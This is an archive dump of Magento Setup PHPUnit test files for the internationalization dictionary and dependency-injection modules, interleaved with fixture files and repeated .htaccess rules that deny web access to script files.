*/ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary\Loader\File; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Dictionary\Loader\File\AbstractFile; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Factory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AbstractFileTest extends TestCase { /** * @var Dictionary|MockObject */ protected $_dictionaryMock; /** * @var Factory|MockObject */ protected $_factoryMock; /** * @var AbstractFile|MockObject */ protected $_abstractLoaderMock; protected function setUp(): void { $this->_dictionaryMock = $this->createMock(Dictionary::class); $this->_factoryMock = $this->createMock(Factory::class); } public function testLoadWrongFile() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Cannot open dictionary file: "wrong_file.csv".'); $abstractLoaderMock = $this->getMockForAbstractClass( AbstractFile::class, [], '', false ); /** @var AbstractFile $abstractLoaderMock */ $abstractLoaderMock->load('wrong_file.csv'); } public function testLoad() { $abstractLoaderMock = $this->getMockForAbstractClass( AbstractFile::class, [$this->_factoryMock], '', true, true, true, ['_openFile', '_readFile', '_closeFile'] ); $abstractLoaderMock->expects( $this->at(1) )->method( '_readFile' )->willReturn( ['phrase1', 'translation1'] ); $abstractLoaderMock->expects( $this->at(2) )->method( '_readFile' )->willReturn( ['phrase2', 'translation2', 'context_type2', 'context_value2'] ); $phraseFirstMock = $this->createMock(Phrase::class); $phraseSecondMock = $this->createMock(Phrase::class); $this->_factoryMock->expects( $this->once() )->method( 'createDictionary' )->willReturn( $this->_dictionaryMock ); $this->_factoryMock->expects( $this->at(1) )->method( 'createPhrase' )->with( ['phrase' => 'phrase1', 'translation' => 'translation1', 'context_type' => '', 'context_value' => ''] )->willReturn( $phraseFirstMock ); $this->_factoryMock->expects( $this->at(2) )->method( 'createPhrase' )->with( [ 'phrase' => 'phrase2', 'translation' => 'translation2', 'context_type' => 'context_type2', 'context_value' => 'context_value2', ] )->willReturn( $phraseSecondMock ); $this->_dictionaryMock->expects($this->at(0))->method('addPhrase')->with($phraseFirstMock); $this->_dictionaryMock->expects($this->at(1))->method('addPhrase')->with($phraseSecondMock); /** @var AbstractFile $abstractLoaderMock */ $this->assertEquals($this->_dictionaryMock, $abstractLoaderMock->load('test.csv')); } public function testErrorsInPhraseCreating() { $this->expectException('RuntimeException'); $this->expectExceptionMessage('Invalid row #1: "exception_message".'); $abstractLoaderMock = $this->getMockForAbstractClass( AbstractFile::class, [$this->_factoryMock], '', true, true, true, ['_openFile', '_readFile'] ); $abstractLoaderMock->expects( $this->at(1) )->method( '_readFile' )->willReturn( ['phrase1', 'translation1'] ); $this->_factoryMock->expects( $this->once() )->method( 'createDictionary' )->willReturn( $this->_dictionaryMock ); $this->_factoryMock->expects( $this->at(1) )->method( 'createPhrase' )->willThrowException( new \DomainException('exception_message') ); /** @var AbstractFile $abstractLoaderMock */ $this->assertEquals($this->_dictionaryMock, $abstractLoaderMock->load('test.csv')); } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/Loader/File/.htaccess000077700000000177151323623130021043 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Loader/.htaccess000077700000000177151323623130020164 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/GeneratorTest.php000077700000016137151323623130020462 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary\Generator; use Magento\Setup\Module\I18n\Dictionary\Options\Resolver; use Magento\Setup\Module\I18n\Dictionary\Options\ResolverFactory; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Dictionary\WriterInterface; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\Parser\Contextual; use Magento\Setup\Module\I18n\Parser\Parser; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class GeneratorTest extends TestCase { /** * @var Parser|MockObject */ protected $parserMock; /** * @var Contextual|MockObject */ protected $contextualParserMock; /** * @var Factory|MockObject */ protected $factoryMock; /** * @var WriterInterface|MockObject */ protected $writerMock; /** * @var Generator */ protected $generator; /** * @var ResolverFactory|MockObject */ protected $optionsResolverFactory; protected function setUp(): void { $this->parserMock = $this->createMock(Parser::class); $this->contextualParserMock = $this->createMock(Contextual::class); $this->writerMock = $this->getMockForAbstractClass(WriterInterface::class); $this->factoryMock = $this->createMock(Factory::class); $this->factoryMock->expects($this->any()) ->method('createDictionaryWriter') ->willReturn($this->writerMock); $this->optionsResolverFactory = $this->createMock(ResolverFactory::class); $objectManagerHelper = new ObjectManager($this); $this->generator = $objectManagerHelper->getObject( Generator::class, [ 'parser' => $this->parserMock, 'contextualParser' => $this->contextualParserMock, 'factory' => $this->factoryMock, 'optionsResolver' => $this->optionsResolverFactory ] ); } public function testCreatingDictionaryWriter() { $outputFilename = 'test'; $phrase = $this->createMock(Phrase::class); $this->factoryMock->expects($this->once()) ->method('createDictionaryWriter') ->with($outputFilename)->willReturnSelf(); $this->parserMock->expects($this->any())->method('getPhrases')->willReturn([$phrase]); $options = []; $optionResolver = $this->createMock(Resolver::class); $optionResolver->expects($this->once()) ->method('getOptions') ->willReturn($options); $this->optionsResolverFactory->expects($this->once()) ->method('create') ->with('', false) ->willReturn($optionResolver); $this->generator->generate('', $outputFilename); $property = new \ReflectionProperty($this->generator, 'writer'); $property->setAccessible(true); $this->assertNull($property->getValue($this->generator)); } public function testUsingRightParserWhileWithoutContextParsing() { $baseDir = 'right_parser'; $outputFilename = 'file.csv'; $filesOptions = ['file1', 'file2']; $optionResolver = $this->createMock(Resolver::class); $optionResolver->expects($this->once()) ->method('getOptions') ->willReturn($filesOptions); $this->factoryMock->expects($this->once()) ->method('createDictionaryWriter') ->with($outputFilename)->willReturnSelf(); $this->optionsResolverFactory->expects($this->once()) ->method('create') ->with($baseDir, false) ->willReturn($optionResolver); $this->parserMock->expects($this->once())->method('parse')->with($filesOptions); $phrase = $this->createMock(Phrase::class); $this->parserMock->expects($this->once())->method('getPhrases')->willReturn([$phrase]); $this->generator->generate($baseDir, $outputFilename); } public function testUsingRightParserWhileWithContextParsing() { $baseDir = 'right_parser2'; $outputFilename = 'file.csv'; $filesOptions = ['file1', 'file2']; $optionResolver = $this->createMock(Resolver::class); $optionResolver->expects($this->once()) ->method('getOptions') ->willReturn($filesOptions); $this->optionsResolverFactory->expects($this->once()) ->method('create') ->with($baseDir, true) ->willReturn($optionResolver); $this->contextualParserMock->expects($this->once())->method('parse')->with($filesOptions); $phrase = $this->createMock(Phrase::class); $this->contextualParserMock->expects($this->once())->method('getPhrases')->willReturn([$phrase]); $this->factoryMock->expects($this->once()) ->method('createDictionaryWriter') ->with($outputFilename)->willReturnSelf(); $this->generator->generate($baseDir, $outputFilename, true); } public function testWritingPhrases() { $baseDir = 'WritingPhrases'; $filesOptions = ['file1', 'file2']; $optionResolver = $this->createMock(Resolver::class); $optionResolver->expects($this->once()) ->method('getOptions') ->willReturn($filesOptions); $this->optionsResolverFactory->expects($this->once()) ->method('create') ->with($baseDir, false) ->willReturn($optionResolver); $phrases = [ $this->createMock(Phrase::class), $this->createMock(Phrase::class), ]; $this->parserMock->expects($this->once())->method('getPhrases')->willReturn($phrases); $this->writerMock->expects($this->at(0))->method('write')->with($phrases[0]); $this->writerMock->expects($this->at(1))->method('write')->with($phrases[1]); $this->generator->generate($baseDir, 'file.csv'); } public function testGenerateWithNoPhrases() { $this->expectException('UnexpectedValueException'); $this->expectExceptionMessage('No phrases found in the specified dictionary file.'); $baseDir = 'no_phrases'; $outputFilename = 'no_file.csv'; $filesOptions = ['file1', 'file2']; $optionResolver = $this->createMock(Resolver::class); $optionResolver->expects($this->once()) ->method('getOptions') ->willReturn($filesOptions); $this->optionsResolverFactory->expects($this->once()) ->method('create') ->with($baseDir, true) ->willReturn($optionResolver); $this->contextualParserMock->expects($this->once())->method('parse')->with($filesOptions); $this->contextualParserMock->expects($this->once())->method('getPhrases')->willReturn([]); $this->generator->generate($baseDir, $outputFilename, true); } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/PhraseTest.php000077700000012464151323623130017755 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Dictionary\Phrase; use PHPUnit\Framework\TestCase; class PhraseTest extends TestCase { /** * @param array $constructArguments * @param string $getter * @param string|array $result * @dataProvider dataProviderPhraseCreation */ public function testPhraseCreation($constructArguments, $getter, $result) { $phrase = new Phrase(...array_values($constructArguments)); $this->assertEquals($result, $phrase->{$getter}()); } /** * @return array */ public function dataProviderPhraseCreation() { return [ [['phrase', 'translation'], 'getPhrase', 'phrase'], [['phrase', 'translation'], 'getTranslation', 'translation'], [['phrase', 'translation', 'context_type'], 'getContextType', 'context_type'], [ ['phrase', 'translation', 'context_type', 'context_value'], 'getContextValue', ['context_value'] ], [ ['phrase', 'translation', 'context_type', ['context_value1', 'context_value2']], 'getContextValue', ['context_value1', 'context_value2'] ], [ ['phrase', 'translation', 'context_type', 'context_value1,context_value2'], 'getContextValue', ['context_value1', 'context_value2'] ] ]; } /** * @param array $constructArguments * @param string $message * @dataProvider dataProviderWrongParametersWhilePhraseCreation */ public function testWrongParametersWhilePhraseCreation($constructArguments, $message) { $this->expectException('DomainException'); $this->expectExceptionMessage($message); new Phrase(...array_values($constructArguments)); } /** * @return array */ public function dataProviderWrongParametersWhilePhraseCreation() { return [ [[null, 'translation'], 'Missed phrase'], [['phrase', null], 'Missed translation'], [['phrase', 'translation', null, new \stdClass()], 'Wrong context type'] ]; } /** * @param string $value * @param string $setter * @param string $getter * @dataProvider dataProviderAccessorMethods */ public function testAccessorMethods($value, $setter, $getter) { $phrase = new Phrase('phrase', 'translation'); $phrase->{$setter}($value); $this->assertEquals($value, $phrase->{$getter}()); } /** * @return array */ public function dataProviderAccessorMethods() { return [ ['value1', 'setPhrase', 'getPhrase'], ['value1', 'setTranslation', 'getTranslation'], ['value1', 'setContextType', 'getContextType'], [['value1'], 'setContextValue', 'getContextValue'] ]; } public function testAddContextValue() { $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $phrase->addContextValue('context_value2'); $phrase->addContextValue('context_value3'); $this->assertEquals(['context_value1', 'context_value2', 'context_value3'], $phrase->getContextValue()); } public function testContextValueDuplicationResolving() { $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $phrase->addContextValue('context_value1'); $phrase->addContextValue('context_value1'); $this->assertEquals(['context_value1'], $phrase->getContextValue()); } public function testAddEmptyContextValue() { $this->expectException('DomainException'); $this->expectExceptionMessage('Context value is empty'); $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $phrase->addContextValue(null); } public function testContextValueReset() { $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $phrase->addContextValue('context_value2'); $phrase->setContextValue(null); $this->assertEquals([], $phrase->getContextValue()); } public function testGetContextValueAsString() { $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $phrase->addContextValue('context_value2'); $phrase->addContextValue('context_value3'); $this->assertEquals('context_value1,context_value2,context_value3', $phrase->getContextValueAsString()); } public function testGetContextValueAsStringWithCustomSeparator() { $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $phrase->addContextValue('context_value2'); $phrase->addContextValue('context_value3'); $this->assertEquals('context_value1::context_value2::context_value3', $phrase->getContextValueAsString('::')); } public function testGetKey() { $phrase = new Phrase('phrase', 'translation', 'context_type', 'context_value1'); $this->assertEquals('phrase::context_type', $phrase->getKey()); } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/.htaccess000077700000000177151323623130016756 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/ResolverTest.php000077700000013275151323623130021770 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary\Options; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary\Options\Resolver; use PHPUnit\Framework\TestCase; class ResolverTest extends TestCase { /** * @param string $directory * @param bool $withContext * @param array $result * @dataProvider getOptionsDataProvider */ public function testGetOptions($directory, $withContext, $result) { $objectManagerHelper = new ObjectManager($this); $componentRegistrar = $this->createMock(ComponentRegistrar::class); $root = __DIR__ . '/_files/source'; $componentRegistrar->expects($this->any()) ->method('getPaths') ->willReturnMap( [ [ComponentRegistrar::MODULE, [$root . '/app/code/module1', $root . '/app/code/module2']], [ComponentRegistrar::THEME, [$root . '/app/design']], ] ); $directoryList = $this->createMock(DirectoryList::class); $directoryList->expects($this->any())->method('getRoot')->willReturn('root'); /** @var Resolver $resolver */ $resolver = $objectManagerHelper->getObject( Resolver::class, [ 'directory' => $directory, 'withContext' => $withContext, 'componentRegistrar' => $componentRegistrar, 'directoryList' => $directoryList ] ); $this->assertSame($result, $resolver->getOptions()); } /** * @return array */ public function getOptionsDataProvider() { $sourceFirst = __DIR__ . '/_files/source'; $sourceSecond = __DIR__ . '/_files/source'; return [ [ $sourceFirst, true, [ [ 'type' => 'php', 'paths' => [ $sourceFirst . '/app/code/module1/', $sourceFirst . '/app/code/module2/', $sourceFirst . '/app/design/' ], 'fileMask' => '/\.(php|phtml)$/', ], [ 'type' => 'html', 'paths' => [ $sourceFirst . '/app/code/module1/', $sourceFirst . '/app/code/module2/', $sourceFirst . '/app/design/' ], 'fileMask' => '/\.html$/', ], [ 'type' => 'js', 'paths' => [ $sourceFirst . '/app/code/module1/', $sourceFirst . '/app/code/module2/', $sourceFirst . '/app/design/', $sourceFirst . '/lib/web/mage/', $sourceFirst . '/lib/web/varien/', ], 'fileMask' => '/\.(js|phtml)$/' ], [ 'type' => 'xml', 'paths' => [ $sourceFirst . '/app/code/module1/', $sourceFirst . '/app/code/module2/', $sourceFirst . '/app/design/' ], 'fileMask' => '/\.xml$/' ] ], ], [ $sourceSecond, false, [ ['type' => 'php', 'paths' => [$sourceSecond], 'fileMask' => '/\.(php|phtml)$/'], ['type' => 'html', 'paths' => [$sourceSecond], 'fileMask' => '/\.html/'], ['type' => 'js', 'paths' => [$sourceSecond], 'fileMask' => '/\.(js|phtml)$/'], ['type' => 'xml', 'paths' => [$sourceSecond], 'fileMask' => '/\.xml$/'] ] ], ]; } /** * @param string $directory * @param bool $withContext * @param string $message * @dataProvider getOptionsWrongDirDataProvider */ public function testGetOptionsWrongDir($directory, $withContext, $message) { $componentRegistrar = $this->createMock(ComponentRegistrar::class); $root = __DIR__ . '/_files/source'; $componentRegistrar->expects($this->any()) ->method('getPaths') ->willReturn([$root . '/app/code/module1', $root . '/app/code/module2']); $directoryList = $this->createMock(DirectoryList::class); $objectManagerHelper = new ObjectManager($this); /** @var Resolver $resolver */ $resolver = $objectManagerHelper->getObject( Resolver::class, [ 'directory' => $directory, 'withContext' => $withContext, 'componentRegistrar' => $componentRegistrar, 'directoryList' => $directoryList ] ); $this->expectException('\InvalidArgumentException'); $this->expectExceptionMessage($message); $resolver->getOptions(); } /** * @return array */ public function getOptionsWrongDirDataProvider() { return [ ['not_exist', true, 'Specified path is not a Magento root directory'], ['not_exist', false, 'Specified path doesn\'t exist'], ]; } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/lib/web/varien/.gitignore000077700000000001151323623130026135 0ustar00 Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/lib/web/varien/.htaccess000077700000000177151323623130025761 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/lib/web/mage/.gitignore000077700000000001151323623130025562 0ustar00 Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/lib/web/mage/.htaccess000077700000000177151323623130025406 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/lib/web/.htaccess000077700000000177151323623130024475 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/lib/.htaccess000077700000000177151323623130023720 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/code/module2/.gitignore000077700000000001151323623130026367 0ustar00 Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/code/module2/.htaccess000077700000000177151323623130026213 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/code/module1/.gitignore000077700000000001151323623130026366 0ustar00 Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/code/module1/.htaccess000077700000000177151323623130026212 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/code/.htaccess000077700000000177151323623130024644 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/.htaccess000077700000000177151323623130023732 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/design/.gitignore000077700000000001151323623130025357 0ustar00 Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/app/design/.htaccess000077700000000177151323623130025203 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/source/.htaccess000077700000000177151323623130023152 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/_files/.htaccess000077700000000177151323623130021652 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/.htaccess000077700000000177151323623130020411 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Options/ResolverFactoryTest.php000077700000002507151323623130023314 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary\Options; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary\Options\ResolverFactory; use PHPUnit\Framework\TestCase; class ResolverFactoryTest extends TestCase { public function testCreate() { $objectManagerHelper = new ObjectManager($this); /** @var ResolverFactory $resolverFactory */ $resolverFactory = $objectManagerHelper ->getObject(ResolverFactory::class); $this->assertInstanceOf( ResolverFactory::DEFAULT_RESOLVER, $resolverFactory->create('some_dir', true) ); } public function testCreateException() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('stdClass doesn\'t implement ResolverInterface'); $objectManagerHelper = new ObjectManager($this); /** @var ResolverFactory $resolverFactory */ $resolverFactory = $objectManagerHelper->getObject( ResolverFactory::class, [ 'resolverClass' => 'stdClass' ] ); $resolverFactory->create('some_dir', true); } } Magento/Setup/Test/Unit/Module/I18n/_files/files_collector/default.xml000077700000000647151323623130021634 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <layout> <node1 translate="description, label"> <description>Phrase 1</description> <label>Phrase 2</label> <title translate="true">Phrase 3</title> </node1> <node2> <title translate="true">Phrase 1</title> </node2> </layout> Magento/Setup/Test/Unit/Module/I18n/_files/files_collector/file.js000077700000000312151323623130020730 0ustar00/** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ (function() { $.mage.__('Phrase 1'); $.mage.__('Phrase 1'); $.mage.__('Phrase 2 %1'); }); Magento/Setup/Test/Unit/Module/I18n/_files/files_collector/.htaccess000077700000000177151323623130021262 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/_files/.htaccess000077700000000177151323623130016112 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/DictionaryTest.php000077700000003467151323623130016536 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Dictionary\Phrase; use PHPUnit\Framework\TestCase; class DictionaryTest extends TestCase { /** * @var Dictionary */ protected $_dictionary; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->_dictionary = $objectManagerHelper->getObject(Dictionary::class); } public function testPhraseCollecting() { $phraseFirstMock = $this->createMock(Phrase::class); $phraseSecondMock = $this->createMock(Phrase::class); $this->_dictionary->addPhrase($phraseFirstMock); $this->_dictionary->addPhrase($phraseSecondMock); $this->assertEquals([$phraseFirstMock, $phraseSecondMock], $this->_dictionary->getPhrases()); } public function testGetDuplicates() { $phraseFirstMock = $this->createMock(Phrase::class); $phraseFirstMock->expects($this->once())->method('getKey')->willReturn('key_1'); $phraseSecondMock = $this->createMock(Phrase::class); $phraseSecondMock->expects($this->once())->method('getKey')->willReturn('key_1'); $phraseThirdMock = $this->createMock(Phrase::class); $phraseThirdMock->expects($this->once())->method('getKey')->willReturn('key_3'); $this->_dictionary->addPhrase($phraseFirstMock); $this->_dictionary->addPhrase($phraseSecondMock); $this->_dictionary->addPhrase($phraseThirdMock); $this->assertEquals([[$phraseFirstMock, $phraseSecondMock]], $this->_dictionary->getDuplicates()); } } Magento/Setup/Test/Unit/Module/I18n/.htaccess000077700000000177151323623130014651 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/ConnectionFactoryTest.php000077700000004127151323623130017333 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\ConnectionFactory; use PHPUnit\Framework\TestCase; class ConnectionFactoryTest extends TestCase { /** * @var ConnectionFactory */ private $connectionFactory; protected function setUp(): void { $objectManager = new ObjectManager($this); $serviceLocatorMock = $this->getMockForAbstractClass(ServiceLocatorInterface::class); $objectManagerProviderMock = $this->createMock(ObjectManagerProvider::class); $serviceLocatorMock->expects($this->once()) ->method('get') ->with( ObjectManagerProvider::class ) ->willReturn($objectManagerProviderMock); $objectManagerMock = $this->getMockForAbstractClass(ObjectManagerInterface::class); $objectManagerProviderMock->expects($this->once()) ->method('get') ->willReturn($objectManagerMock); $this->connectionFactory = $objectManager->getObject( ConnectionFactory::class, [ 'serviceLocator' => $serviceLocatorMock ] ); } /** * @param array $config * @dataProvider createDataProvider */ public function testCreate($config) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('MySQL adapter: Missing required configuration option \'host\''); $this->connectionFactory->create($config); } /** * @return array */ public function createDataProvider() { return [ [ [] ], [ ['value'] ], [ ['active' => 0] ], ]; } } Magento/Setup/Test/Unit/Module/Di/Definition/.htaccess000077700000000177151323623130016556 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Definition/CollectionTest.php000077700000005541151323623130020424 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Definition; use Magento\Setup\Module\Di\Definition\Collection; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class CollectionTest extends TestCase { /** * @var Collection */ private $model; /** * @var Collection|MockObject */ private $collectionMock; /** * Instance name */ const INSTANCE_1 = 'Class_Name_1'; /** * Instance name */ const INSTANCE_2 = 'Class_Name_2'; /** * Returns initialized argument data * * @return array */ private function getArgument() { return ['argument' => ['configuration', 'array', true, null]]; } /** * Returns initialized expected definitions for most cases * * @return array */ private function getExpectedDefinition() { return [self::INSTANCE_1 => $this->getArgument()]; } protected function setUp(): void { $this->collectionMock = $this->getMockBuilder(Collection::class) ->setMethods([])->getMock(); $this->model = new Collection(); } public function testAddDefinition() { $this->model->addDefinition(self::INSTANCE_1, $this->getArgument()); $this->assertEquals($this->getExpectedDefinition(), $this->model->getCollection()); } public function testInitialize() { $this->model->initialize([self::INSTANCE_1 => $this->getArgument()]); $this->assertEquals($this->getExpectedDefinition(), $this->model->getCollection()); } public function testHasInstance() { $this->model->addDefinition(self::INSTANCE_1, $this->getArgument()); $this->assertTrue($this->model->hasInstance(self::INSTANCE_1)); } public function testGetInstancesNamesList() { $this->model->addDefinition(self::INSTANCE_1, $this->getArgument()); $this->assertEquals([self::INSTANCE_1], $this->model->getInstancesNamesList()); } public function testGetInstanceArguments() { $this->model->addDefinition(self::INSTANCE_1, $this->getArgument()); $this->assertEquals($this->getArgument(), $this->model->getInstanceArguments(self::INSTANCE_1)); } public function testAddCollection() { $this->model->addDefinition(self::INSTANCE_1, $this->getArgument()); $this->collectionMock->expects($this->any())->method('getCollection') ->willReturn([self::INSTANCE_2 => $this->getArgument()]); $this->model->addCollection($this->collectionMock); $this->assertEquals( [self::INSTANCE_1 => $this->getArgument(), self::INSTANCE_2 => $this->getArgument()], $this->model->getCollection() ); } } Magento/Setup/Test/Unit/Module/Di/App/Task/AreaTest.php000077700000007416151323623130016536 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Framework\App; use Magento\Framework\App\AreaList; use Magento\Framework\App\ObjectManager\ConfigWriterInterface; use Magento\Setup\Module\Di\App\Task\Operation\Area; use Magento\Setup\Module\Di\Compiler\Config; use Magento\Setup\Module\Di\Compiler\Config\ModificationChain; use Magento\Setup\Module\Di\Compiler\Config\Reader; use Magento\Setup\Module\Di\Definition\Collection; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AreaTest extends TestCase { /** * @var App\AreaList|MockObject */ private $areaListMock; /** * @var \Magento\Setup\Module\Di\Code\Reader\Decorator\Area|MockObject */ private $areaInstancesNamesList; /** * @var Config\Reader|MockObject */ private $configReaderMock; /** * @var Config\WriterInterface|MockObject */ private $configWriterMock; /** * @var ModificationChain|MockObject */ private $configChain; protected function setUp(): void { $this->areaListMock = $this->getMockBuilder(AreaList::class) ->disableOriginalConstructor() ->getMock(); $this->areaInstancesNamesList = $this->getMockBuilder(\Magento\Setup\Module\Di\Code\Reader\Decorator\Area::class) ->disableOriginalConstructor() ->getMock(); $this->configReaderMock = $this->getMockBuilder(Reader::class) ->disableOriginalConstructor() ->getMock(); $this->configWriterMock = $this->getMockBuilder(ConfigWriterInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->configChain = 